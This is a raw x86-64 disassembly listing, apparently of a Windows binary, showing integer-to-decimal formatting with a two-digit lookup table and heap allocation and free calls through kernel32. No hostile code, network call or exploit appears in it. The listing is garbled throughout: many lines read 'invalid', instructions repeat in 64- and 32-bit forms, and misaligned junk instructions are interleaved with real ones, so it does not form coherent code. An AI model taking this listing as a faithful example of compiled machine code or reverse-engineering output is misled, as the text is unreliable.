mov bh, 0xca
shr ecx, 2
imul ecx, ecx, 0x147b
leave
jnp 0x1400756ff
add byte [rax], al
add cl, al
jmp 0x111729b04
invalid
invalid
shr ecx, 0x11
imul r10d, ecx, 0x64
imul edx, ecx, 0x64
imul edx, ecx, 0x64
shl dword [rsp + rax*2 + 0x29], 1
ror byte [rdi], cl
sub edx, r10d
sub edx, edx
movzx edx, dx
mov bh, 0xd2
movzx edx, word [r9 + rdx*2]
mov bh, 0x14
push rcx
adc al, 0x51
mov word [rsp + rax + 0x3e], dx
add al, 0x3e
add rax, 0xfffffffffffffffe
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
mov rdx, rcx
cmp rdx, 0xa
cmp edx, 0xa
jae 0x14007583f
sub dword [rdx], 1
add dword [rax], eax
add byte [rax + 0x548830c2], al
add dl, 0x30
mov byte [rsp + rax + 0x3f], dl
add byte [rax], al
add dl, 0x30
mov byte [rsp + rax + 0x3f], dl
dec rax
dec eax
jmp 0x14007584d
add byte [rax], al
mov rdx, rcx
cmp rdx, 0x63
cmp edx, 0x63
cmp edx, 0x63
jbe 0x14007575e
xor dword [rdi], ecx
mov bh, 0xca
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
leave
jnp 0x14007574b
add byte [rax], al
add cl, al
jmp 0x101729b50
invalid
shr ecx, 0x11
imul r8d, ecx, 0x64
shl dword [rsp + rax*2 + 0x29], 0xc2
shl dword [rsp + rax*2 + 0x29], 0xc2
movzx edx, dx
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
movzx edx, word [r8 + rdx*2]
adc al, 0x50
invalid
adc al, 0x50
mov word [rsp + rax + 0x3e], dx
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
add eax, 0xfffffffe
sar dh, 0x48
mov rdx, rcx
mov edx, ecx
cmp rdx, 0xa
cmp edx, 0xa
jae 0x14007591f
add dl, 0x30
mov byte [rsp + rax + 0x3f], dl
dec rax
dec eax
jmp 0x140075933
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
call fcn.140072ec0
test rax, rax
je 0x14007510c
mov rsi, rax
mov esi, eax
invalid
mov r15, qword [rbx]
cmp ecx, dword [rax - 0x73]
jl 0x1400757b8
lea rdi, [rsp + 0x40]
lea r12, [0x1400eff3c]
invalid
lea r12, [0x1400eff3c]
add byte [rbx + rcx*4 + 0x2d], cl
lodsb al, byte gs:[rsi]
lodsb al, byte [rsi]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
lodsb al, byte [rsi]
add eax, dword [rax]
jmp 0x1400757af
mov rcx, qword [r15 + 0x20]
mov ecx, dword [rdi + 0x20]
mov rax, qword [r15 + 0x28]
mov rdx, rdi
mov edx, edi
mov r8, rsi
invalid
call qword [rax + 0x18]
test al, al
je 0x14007510c
invalid
invalid
call fcn.140075f40
add byte [rax], al
add byte [rax - 0x77], cl
ret
mov rbx, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
invalid
add al, 0x84
add rax, r12
add eax, esp
jmp rax
loopne 0x14007575d
jnp 0x1400757ee
and ecx, dword [rdi]
test dword [rdx + rax], ecx
add al, byte [rax]
invalid
jne 0x1400759f2
add al, byte [rax]
add byte [rbx + rcx*4 + 0x73], cl
invalid
invalid
mov r14, qword [rbx - 1]
mov esi, dword [rbx - 1]
jae 0x1400757e9
dec dword [rax - 0x75]
mov rbp, qword [rbx + 7]
imul eax, dword [rdi], 0x4c
mov rcx, r14
mov ecx, esi
call qword [rbp]
add byte [rax - 0x7d], cl
jge 0x140075800
invalid
cmp qword [rbp + 8], 0
or byte [rax], al
add byte [rdx + rbx + 0x48], dh
je 0x140075815
cmp qword [rbp + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
adc byte [rcx], dl
jb 0x140075806
mov r14, qword [r14 - 8]
mov esi, dword [rsi - 8]
mov rcx, qword [0x1400f91f8]
or eax, 0x839eb
jmp case.0x140032218.610
cmp dword [rax], ecx
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
xor edx, edx
mov r8, r14
call r13
invalid
invalid
dec rbx
dec ebx
retf
mov rcx, qword [0x1400f91f8]
fnstcw word [rcx]
or byte [rax], al
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov eax, ebx
call r13
xor edx, edx
mov r8, rbx
mov eax, ebx
mov eax, ebx
call r13
jmp 0x1400757af
shr rax, 0x20
shr eax, 0x20
call 0x1388aa053
cmp rax, 0x23
je 0x1400757af
invalid
invalid
invalid
and ecx, dword [rdi]
test byte [rbp - 1], dh
invalid
invalid
invalid
jmp 0x1400759ef
add byte [rax], al
add byte [rcx + 0xf], al
movzx ecx, word [r9 + rdx*2]
mov bh, 0xc
push rcx
mov word [rsp + rax + 0x3e], cx
add rax, 0xfffffffffffffffe
invalid
invalid
add rax, 0xfffffffffffffffe
test r8, r8
test eax, eax
jns case.0x140032218.609
mov byte [rsp + rax + 0x3f], 0x2d
dec rax
invalid
invalid
enter 0xffffffffffff8948, 0xffffffffffffffc6
mov rsi, rax
sub rsi, 0x14
sub esi, 0x14
je 0x14007510c
movsd dword [rdi], dword [rsi]
clc
invalid
neg rsi
lea rdi, [rsp + rax]
add rdi, 0x40
add edi, 0x40
mov dword [rax + 0x4c], 0x8d4c3b8b
and eax, 0x7a6e0
invalid
invalid
mov r15, qword [rbx]
lea r12, [0x1400eff5c]
invalid
invalid
invalid
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14007588f
invalid
test dword [rbx + 0xaeb0003], ebp
cmp byte [rbx + 0x10], 0x23
jnp 0x140075898
and ecx, dword [rdi]
test dword [rbx + 1], esp
add byte [rax], al
or al, byte [rax + 0xf23107b]
jnp 0x140075898
and ecx, dword [rdi]
test dword [rbx + 1], esp
add byte [rax], al
invalid
add dword [rax], eax
add byte [rcx - 0x75], cl
and byte [r9 - 0x75], r9b
mov rax, qword [r15 + 0x28]
mov rdx, rdi
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov rdx, rdi
mov edx, edi
mov r8, rsi
mov eax, esi
call qword [rax + 0x18]
test al, al
je 0x14007510c
call fcn.140075f40
mov rbx, rax
ret
and eax, 3
movsxd rax, dword [r12 + rax*4]
test byte [rcx + rax - 0x20], cl
add byte [rax - 0x77], cl
ret
test byte [rcx + rax - 0x20], cl
jmp rax
loopne 0x14007583d
cmp byte [rbx + 0xf], 0x23
jne 0x1400759f2
jnp 0x1400758ce
and ecx, dword [rdi]
test dword [rcx + rax], ebp
add byte [rax], al
mov r14, qword [rbx - 1]
mov rbp, qword [rbx + 7]
mov ebp, dword [rbx + 7]
dec dword [rax - 0x75]
imul eax, dword [rdi], 0x4c
mov ecx, esi
int1
mov ebp, dword [rbx + 7]
mov rcx, r14
int1
call qword [rbp]
cmp qword [rbp + 8], 0
or byte [rax], al
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
jge 0x1400758ef
invalid
je 0x1400758f5
cmp qword [rbp + 0x10], 0x11
jge 0x1400758ef
adc dword [rdx + 4], esi
jb case.0x140074731.69
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rcx], dh
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
mov r8, r14
mov eax, esi
call r13
dec rbx
dec ebx
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x838f9
stc
cmp byte [rax], cl
add byte [rcx], dh
xor edx, edx
mov r8, rbx
invalid
invalid
xor edx, edx
mov r8, rbx
call r13
invalid
jmp 0x14007588f
invalid
invalid
xchg byte [rax - 0x77], cl
mov rax, rbx
shr rax, 0x20
and byte [rax - 0x7d], cl
clc
and ecx, dword [rdi]
test byte [rbp - 1], dh
jne 0x140075917
invalid
invalid
fmul dword [rax - 0x3f]
call 0x1388aa133
and byte [rax - 0x7d], cl
clc
and byte [rax - 0x7d], cl
clc
and ecx, dword [rdi]
test byte [rbp - 1], dh
jne 0x140075917
jne 0x140075917
invalid
invalid
jmp 0x1400759ef
lea rcx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
or eax, 0x70f7a
movzx ecx, word [rcx + rdx*2]
mov bh, 0xc
push rcx
mov word [rsp + rax + 0x3e], cx
mov dword [rsp + rax + 0x3e], ecx
add rax, 0xfffffffffffffffe
mov rsi, rax
sub rsi, 0x14
adc al, 0xf
test ah, cl
idiv edi
invalid
invalid
adc al, 0xf
test ah, cl
idiv edi
dec dword [rax - 9]
fimul word [rax - 0x73]
invalid
invalid
invalid
neg rsi
lea rdi, [rsp + rax]
cmp al, 4
add al, 0x48
add edi, 0x40
invalid
add rdi, 0x40
mov r15, qword [rbx]
mov r15, qword [rbx]
mov edi, dword [rbx]
lea r12, [0x1400eff6c]
lea esp, [0x1400eff6c]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
lodsb al, byte [rsi]
stosb byte [rdi], al
add eax, dword [rax]
jmp 0x140075968
jnp 0x140075971
and ecx, dword [rdi]
jne 0x1400759f2
test dword [rdx + 0x49000000], ecx
mov ecx, dword [rdi + 0x20]
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
sub byte [r8 - 0x77], r9b
cli
mov rdx, rdi
mov edx, edi
mov r8, rsi
call qword [rax + 0x18]
test al, al
je 0x14007510c
mov esi, edi
invalid
invalid
mov esi, edi
invalid
invalid
call fcn.140075f40
mov rbx, rax
and eax, 3
add ecx, dword [rcx + 0x63]
add al, 0x84
add rax, r12
jmp rax
jnp 0x1400759a7
and esi, dword [rbp + 0x57]
mov r14, qword [rbx - 1]
mov esi, dword [rbx - 1]
mov esi, dword [rbx - 1]
mov rbp, qword [rbx + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
je case.0x14004b1de.345
push rbp
add byte [rax - 0x7d], cl
jge 0x1400759b5
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
sbb cl, byte [rax - 0x7d]
jge 0x1400759c4
cmp qword [rbp + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x1400759bb
add al, 0x4d
mov esi, dword [rsi - 8]
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
cmp byte [rax], cl
add byte [rcx], dh
ror byte [rbp - 0x77], cl
mov r8, r14
call r13
invalid
dec rbx
dec ebx
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call r13
jmp 0x140075968
and byte [rax - 0x7d], cl
cmp eax, 0x23
je 0x140075968
invalid
invalid
invalid
clc
and ecx, dword [rdi]
test byte [rcx - 1], bh
invalid
invalid
cmp eax, 0x28
mov rcx, rbx
jmp case.0x14004e56b.398
xor esi, esi
mov r8, qword [rsp + 0x28]
and al, 0x28
mov rax, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
mov ecx, dword [rdi + 0x10]
xor edx, edx
test rax, rax
setne dl
cmove r8, rax
mov qword [rsp + 0x40], rdx
push rsp
and al, 0x40
push rsp
and al, 0x40
mov qword [rsp + 0x48], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov dword [rsp + 0x58], ecx
mov dword [rsp + 0x58], ecx
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], 0
and al, 0x68
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x68], 0
and al, 0x68
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x80], r8
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
invalid
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
invalid
lea r14, [0x1400e9bc8]
lea r14, [0x1400e9bc8]
invalid
lea rbp, [0x1400efebc]
lea r15, [0x1400efeac]
call case.0x14004e56b.332
test rax, rax
test eax, eax
test eax, eax
ror byte [rdi], 0x84
je 0x140075e75
add byte [rax + rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x38
mov qword [rsp + 0x38], rdx
mov rcx, qword [rax]
mov ecx, dword [rax]
mov qword [rsp + 0x28], rcx
mov rax, qword [rax + 0x10]
adc byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
and al, 0x30
xor byte [rax - 0x80], al
inc byte [rcx]
cmp sil, 1
jne 0x140075b66
add byte [rax], al
add byte [rax - 0x75], cl
je 0x140075abd
mov rsi, qword [rsp + 0x20]
and al, 0x20
and byte [rax - 0x75], cl
invalid
mov rcx, qword [rsi]
mov ecx, dword [rsi]
mov rdx, qword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
and al, 0x30
call case.0x140076400.16
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x85
add dword [rax + rax], 0
test rax, rax
jne 0x140075f38
mov rax, qword [rsi]
mov rsi, qword [rax]
xor bl, ch
invalid
xor bl, ch
invalid
nop dword [rax]
cmp byte [r12 + 0x10], 0x23
cmp byte [rsp + 0x10], 0x23
cmp byte [rsp + 0x10], 0x23
adc byte [rbx], ah
and ecx, dword [rdi]
jne case.0x140068b4c.515
test dword [rcx + rax - 0x74b80000], edx
xchg esp, eax
add dword [rax], eax
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rcx - 0x48], r8b
add dword [rax], eax
add byte [rax], al
invalid
mov rax, qword [rsi + 0x28]
mov r8d, 1
add byte [rax], al
invalid
mov eax, 1
mov rdx, r14
call qword [rax + 0x18]
sbb byte [rax + rax*8 + 0x14b840f], al
test al, al
je 0x140075c33
add qword [r8], rax
invalid
add qword [r8], rax
add byte [rax], al
add al, ch
push rbx
add al, 0
add byte [rcx - 0x77], cl
invalid
call fcn.140075f40
mov r12, rax
and eax, 3
movsxd rax, dword [rbp + rax*4]
test dword [rax], eax
test dword [rax], eax
add rax, rbp
jmp rax
invalid
jne case.0x140068b4c.515
test dword [rdi + 1], edx
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x75], cl
pop rsp
and al, 0xff
mov rbx, qword [r12 - 1]
mov rdi, qword [r12 + 7]
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
fcos
invalid
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140075b39
cmp qword [rdi + 0x10], 0x11
jb 0x140075b2a
mov rbx, qword [rbx - 8]
pop rbx
clc
mov rcx, qword [0x1400f91f8]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fadd dword [rcx - 1]
call r13
xor edx, edx
mov r8, rbx
call r13
dec r12
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rbp - 0x77], cl
loopne case.0x14004e84a.405
call rbp
ror byte [rbp - 0x77], cl
loopne case.0x14004e84a.405
call rbp
jmp 0x140075acc
dec dword [rcx + rcx*4 - 0x20]
shr rax, 0x20
cmp rax, 0x23
cmp eax, 0x23
cmp eax, 0x23
je 0x140075acc
jmp 0x140075c55
add byte [rax], al
mov rax, qword [rsp + 0x20]
and al, 0x20
mov rax, qword [rax]
mov eax, dword [rax]
mov rsi, qword [rax]
jmp case.0x1400503f2.400
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rcx - 0x80], al
jl 0x140075ba8
cmp byte [r12 + 0x10], 0x23
cmp byte [rsp + 0x10], 0x23
jne case.0x140068b4c.515
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
and byte [rax - 0x75], r9b
sub byte [rcx - 0x48], r8b
add dword [rax], eax
add byte [rax], al
lea rdx, [0x1400e77f5]
call qword [rax + 0x18]
push rax
invalid
sbb al, 7
add bh, bh
push rax
sbb byte [rax + rax*8 - 0x1167bf1], al
test al, al
invalid
test cl, ch
invalid
test al, al
je 0x140075a95
invalid
invalid
jmp 0x129075bab
invalid
call fcn.140075f40
add eax, dword [rax]
add byte [rcx - 0x77], cl
mov r12, rax
and eax, 3
movsxd rax, dword [r15 + rax*4]
invalid
invalid
xchg dword [rcx + rax - 8], ecx
add rax, r15
add eax, edi
jmp rax
cmp byte [r12 + 0xf], 0x23
jne case.0x140068b4c.515
add byte [rax], al
add byte [rax], al
mov rbx, qword [r12 - 1]
mov rdi, qword [r12 + 7]
mov edi, dword [rsp + 7]
mov edi, dword [rsp + 7]
and al, 7
invalid
mov rcx, rbx
call qword [rdi]
invalid
invalid
cmp qword [rdi + 8], 0
je 0x140075bfc
cmp qword [rdi + 0x10], 0x11
jg 0x140075bf6
adc byte [rcx], dl
adc dword [rdx + 4], esi
jb 0x140075bed
mov rbx, qword [rbx - 8]
mov ebx, dword [rbx - 8]
mov rcx, qword [0x1400f91f8]
or byte ss:[rax], al
xor edx, edx
mov r8, rbx
call r13
call rbp
call rbp
dec r12
mov rcx, qword [0x1400f91f8]
or eax, 0x835f2
or eax, 0x835f2
xor eax, 0xd2310008
xor eax, 0xd2310008
xor edx, edx
mov r8, r12
loopne 0x140075c4d
call r13
call rbp
jmp case.0x1400503f2.400
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rax, r12
shr rax, 0x20
cmp rax, 0x23
and byte [rax - 0x7d], cl
clc
and ecx, dword [rdi]
invalid
test byte [rbx - 1], bl
invalid
je case.0x1400503f2.400
jmp 0x140075c55
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x20]
call case.0x1400270ad.660
mov sil, 2
test rax, rax
lea rcx, [rsp + 0x40]
and al, 0x40
je case.0x14002739f.686
jmp 0x140075c68
cmp eax, 0x28
ja case.0x140068b4c.515
mov rcx, r12
mov ecx, esp
call fcn.1400adc10
mov rdi, rax
mov rax, rdi
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov cl, 1
xor eax, eax
lea r14, [0x1400e77f5]
lea rbp, [0x1400efefc]
jmp 0x140075cc3
add byte [rax - 0x73], cl
jae 0x140075cc4
invalid
lea rsi, [rbx + 0x20]
and byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov rdx, qword [rsp + 0x20]
call case.0x1400270ad.660
invalid
dec dword [rax - 0x77]
invalid
invalid
dec dword [rax - 0x77]
invalid
xor eax, eax
mov ecx, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov rbx, rsi
test rdi, rdi
test rdi, rdi
jne 0x140075c6b
cmp rbx, qword [rsp + 0x28]
cmp ebx, dword [rsp + 0x28]
je 0x140075da9
add byte [rax], al
add byte [rax + 0x48ce7501], ch
mov eax, dword [rsp + 0x20]
test al, 1
jne 0x140075ca0
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov rsi, qword [rax]
add byte [rax - 0x75], cl
xor bl, ch
jmp 0x140075cea
nop
cmp byte [rdi + 0x10], 0x23
and ecx, dword [rdi]
invalid
invalid
add byte [rax], al
invalid
jmp 0x140075cea
and ecx, dword [rdi]
test dword [rdx + 0x48000000], ebx
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rsi + 0x28]
mov r8d, 1
mov eax, 1
sub byte [rcx - 0x48], r8b
add dword [rax], eax
invalid
mov eax, 1
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
add byte [rax], al
mov rdx, r14
call qword [rax + 0x18]
test al, al
je 0x140075ca0
call fcn.140075f40
mov rdi, rax
mov edi, eax
and eax, 3
movsxd rax, dword [rbp + rax*4]
invalid
test dword [rax], eax
add byte [rax + 1], cl
call 0x1bf883e18
jmp rax
cmp byte [rdi + 0xf], 0x23
invalid
add rax, rbp
jmp rax
cmp byte [rdi + 0xf], 0x23
jne 0x140075d84
invalid
and esi, dword [rbp + 0x67]
mov r15, qword [rdi - 1]
mov r15, qword [edi - 1]
mov r13, qword [rdi + 7]
mov rcx, r15
call qword [r13]
add byte [rcx - 0x7d], cl
jge 0x140075d38
invalid
je 0x140075d4d
add byte [rcx - 0x7d], cl
jge 0x140075d38
add byte [rdx + rbx + 0x49], dh
cmp dword [rbp + 0x10], 0x11
jge case.0x140074e9a.24
invalid
cmp qword [r13 + 0x10], 0x11
jge case.0x140074e9a.24
adc dword [rdx + 4], esi
jb 0x140075d3e
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call r12
invalid
dec rdi
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x834a1
xor al, 8
add byte [rcx], dh
xor edx, edx
mov r8, rdi
mov eax, edi
xor edx, edx
mov r8, rdi
mov eax, edi
mov eax, edi
call r12
jmp 0x140075cea
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov rax, rdi
shr rax, 0x20
cmp rax, 0x23
call 0x1388aa59a
and ecx, dword [rdi]
invalid
test byte [rcx - 1], ch
invalid
je 0x140075cea
cmp eax, 0x28
mov rcx, rdi
mov ecx, edi
mov ecx, edi
add rsp, 0x88
pop rbx
pop rbp
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
jmp fcn.1400adc10
mov rcx, r14
jmp 0x140075d87
invalid
jrcxz 0x140075ded
mov rcx, rax
mov ecx, eax
jmp 0x140075d87
test cl, 1
jne 0x14007510c
invalid
invalid
invalid
mov rax, qword [rsp + 0x20]
and al, 0x20
mov rax, qword [rax]
mov r15, qword [rax]
lea rsi, [0x1400e77f4]
xor edi, edi
lea r13, [0x1400eff0c]
add bl, ch
invalid
mov rcx, qword [r15 + 0x20]
mov ecx, dword [rdi + 0x20]
mov rax, qword [r15 + 0x28]
sub byte [r9 - 0x48], r8b
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
mov eax, 1
add byte [rax], al
add byte [rax - 0x77], cl
bnd call qword [rax + 0x18]
push rax
invalid
mov rdx, rsi
call qword [rax + 0x18]
push rax
invalid
push rax
sbb byte [rax + rax*8 - 0x1897bf1], al
jbe case.0x1400503f2.357
invalid
test al, al
je 0x140075c6b
jbe case.0x1400503f2.357
invalid
invalid
invalid
call fcn.140075f40
mov rbx, rax
mov ebx, eax
add dword [rax], r8d
add byte [rax - 0x77], cl
mov ebx, eax
mov ebx, eax
and eax, 3
loopne 0x140075e03
add ecx, dword [rcx + 0x63]
movsxd rax, dword [r13 + rax*4]
test dword [rax], r8d
test dword [rax], eax
add rax, r13
jmp rax
invalid
call 0x1bb883f0b
mov dr1, rdi
and ecx, dword [rdi]
invalid
test dword [rax - 0xf], edx
push rax
int1
loopne 0x140075d8b
jnp 0x140075e1c
jne 0x140074f64
push rax
int1
invalid
dec dword [rax - 0x75]
imul eax, dword [rdi], 0x4c
mov ecx, esi
call qword [rbp]
cmp qword [rbp + 8], 0
or byte [rax], al
or byte [rax], al
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
je 0x140075e43
sbb cl, byte [rax - 0x7d]
jge case.0x14004b1de.423
cmp qword [rbp + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x140075e34
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov ebp, 0x31000833
xor ecx, dword [rax]
add byte [rcx], dh
or byte [rax], al
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
mov r8, r14
call r12
call rsp
invalid
dec rbx
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
retf
mov ecx, dword [0x1400f91f8]
xor ecx, dword [rax]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fadd dword [rcx - 1]
xor edx, edx
mov r8, rbx
call r12
invalid
call rsp
invalid
jmp case.0x14004e84a.363
fmul dword [rax - 0x3f]
call 0x1388aa681
and byte [rax - 0x7d], cl
clc
cmp rax, 0x23
je case.0x14004e84a.363
and ecx, dword [rdi]
test byte [rcx - 1], dh
invalid
jmp 0x140074f61
invalid
mov rcx, rsi
jmp 0x140075d87
test sil, sil
je 0x14007510c
invalid
invalid
invalid
invalid
and al, 0x20
mov rax, qword [rax]
mov eax, dword [rax]
mov eax, dword [rax]
mov r15, qword [rax]
lea rsi, [0x1400e9693]
xor edi, edi
lea r12, [0x1400efecc]
xor esp, dword [rax + 0xaeb0007]
invalid
adc byte [rbx], ah
jne 0x140074f64
test dword [rdi + 0x49fffff0], edi
mov ecx, dword [rdi + 0x20]
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov r8d, 1
mov rdx, rsi
call qword [rax + 0x18]
test al, al
je 0x140075c6b
call fcn.140075f40
mov rbx, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
invalid
add al, 0x84
test byte [rcx + rax - 0x20], cl
add byte [rax - 0x77], cl
ret
invalid
test byte [rcx + rax - 0x20], cl
jmp rax
jae 0x140075ee2
dec dword [rax - 0x75]
imul eax, dword [rdi], 0x4c
invalid
mov rcx, r14
mov rbp, qword [rbx + 7]
mov rcx, r14
invalid
call qword [rbp]
cmp qword [rbp + 8], 0
je case.0x14004e84a.386
sbb cl, byte [rax - 0x7d]
jge 0x140075f08
adc dword [rdx + 4], esi
mov r14, qword [r14 - 8]
mov esi, dword [rsi - 8]
mov esi, dword [rsi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
xor cl, byte [rax]
xor cl, byte [rax]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov r8, r14
call r13
dec rbx
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
fadd dword [rcx - 1]
invalid
jmp 0x140075ea5
fadd dword [rcx - 1]
invalid
cmp rax, 0x23
je 0x140075ea5
invalid
jmp 0x140074f61
dec dword [rcx - 0x77]
invalid
mov r12, rax
mov esp, eax
jmp case.0x140068b4c.515
invalid
clc
clc
invalid
add byte [rax - 0x75], cl
or eax, 0x83296
or byte [rax], al
or byte [rax], al
test rcx, rcx
jne 0x140075f80
call qword [sym.imp.kernel32.dll_GetProcessHeap]
add eax, dword [rax]
test rax, rax
je case.0x14004e56b.407
add byte [rax], al
add byte [rax], al
mov rcx, rax
mov qword [0x1400f91f8], rax
add eax, 0x83278
ror dword [rax - 0x77], 5
js 0x140075fb0
add eax, 0x83278
or byte [rax], al
mov r8d, 9
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
add eax, dword [rax]
add eax, dword [rax]
test rax, rax
je case.0x14004e56b.407
add byte [rax], al
add byte [rax], al
mov rsi, rax
movabs rax, 0x6f72726520746d66
mov eax, 0x20746d66
jb 0x140076015
jb 0x140076013
mov eax, 0x20746d66
jb 0x140076015
invalid
jb 0x140076013
outsd dx, dword [rsi]
mov qword [rsi], rax
mov byte [rsi + 8], 0x72
movzx eax, byte [0x1400f92c0]
xor ecx, dword [rax]
invalid
or byte [rax], al
add byte [rax - 0x75], cl
or eax, 0x8323f
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140075fd7
call qword [sym.imp.kernel32.dll_GetProcessHeap]
movsb byte [rdi], byte [rsi]
add eax, dword [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
je case.0x140051168.387
mov rcx, rax
mov qword [0x1400f91f8], rax
test rax, rax
je case.0x140051168.387
mov rcx, rax
mov qword [0x1400f91f8], rax
mov dword [0x1400f91f8], eax
add eax, 0x83221
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
movsb byte [rdi], byte [rsi]
add eax, dword [rax]
movsb byte [rdi], byte [rsi]
add eax, dword [rax]
test rax, rax
je case.0x140051168.387
mov rdi, rax
mov qword [rax], rsi
mov qword [rax + 8], 9
mov qword [rax + 0x10], 9
add byte [rax], al
invalid
or byte [rcx], cl
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [rcx], cl
add byte [rax], al
add byte [rdi], cl
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
add byte [rax - 0x75], cl
or eax, 0x831ea
test rcx, rcx
jne 0x140076028
call qword [sym.imp.kernel32.dll_GetProcessHeap]
xlatb
movabs dword [0x485c74c085480003], eax
test rax, rax
je 0x14007607a
pop rsp
mov rcx, rax
mov ecx, eax
mov qword [0x1400f91f8], rax
or byte [rax], al
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
add eax, dword [rax]
test rax, rax
je 0x14007607a
mov qword [rax], rdi
lea rcx, [0x1400e6748]
mov qword [rax + 8], rcx
mov dword [rax + 8], ecx
mov dword [rax + 8], ecx
mov byte [rax + 0x10], 0x27
inc rax
add rsp, 0x30
add esp, 0x30
pop rdi
pop rsi
invalid
pop rbp
ret
mov ecx, 1
mov edx, 9
call fcn.1400a9e00
ud2
or edi, dword [rcx + 8]
mov ecx, 8
mov edx, 0x18
call fcn.1400a9e00
invalid
invalid
add eax, dword [rax]
mov byte [0x14b16607d], bh
ud2
mov qword [rbp - 0x10], rdi
mov ecx, 8
mov edx, 0x18
call fcn.1400a9e00
invalid
add byte [rax], al
add al, ch
jae 0x1400760c8
add eax, dword [rax]
ud2
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x1400e6748]
invalid
invalid
invalid
invalid
mov rcx, qword [rbp - 0x10]
